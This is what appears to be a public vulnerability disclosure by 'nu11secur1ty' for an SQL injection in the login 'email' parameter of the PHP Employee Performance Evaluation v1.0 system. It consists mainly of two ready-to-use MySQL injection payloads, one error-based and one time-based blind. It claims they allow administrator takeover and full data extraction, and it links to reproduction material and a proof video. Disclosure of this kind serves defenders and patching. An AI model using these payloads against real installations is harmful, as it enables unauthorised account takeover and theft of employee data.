Employee Performance Evaluation v1.0 SQL injection Vulnerability

## Title: Employee Performance Evaluation v1.0 SQLi 
## Author: nu11secur1ty
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/14617/employee-performance-evaluation-system-phpmysqli-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Employee-Performance-Evaluation

## Description:
The `email` parameter appears to be vulnerable to SQL injection attacks. 
A single quote was submitted in the email parameter, and a database error message was returned. 
Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present. 
The attacker can take administrator account control and also of all accounts on this system, also the malicious user can download all information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: email (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: [email protected]' AND (SELECT 6536 FROM(SELECT COUNT(*),CONCAT(0x71786a7071,(SELECT (ELT(6536=6536,1))),0x716a6a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- iQpA&password=hacked&login=0

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: [email protected]' AND (SELECT 2365 FROM (SELECT(SLEEP(5)))lFkz)-- xqup&password=hacked&login=0
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Employee-Performance-Evaluation)

## Proof and Exploit:
[href](https://streamable.com/9q1tni)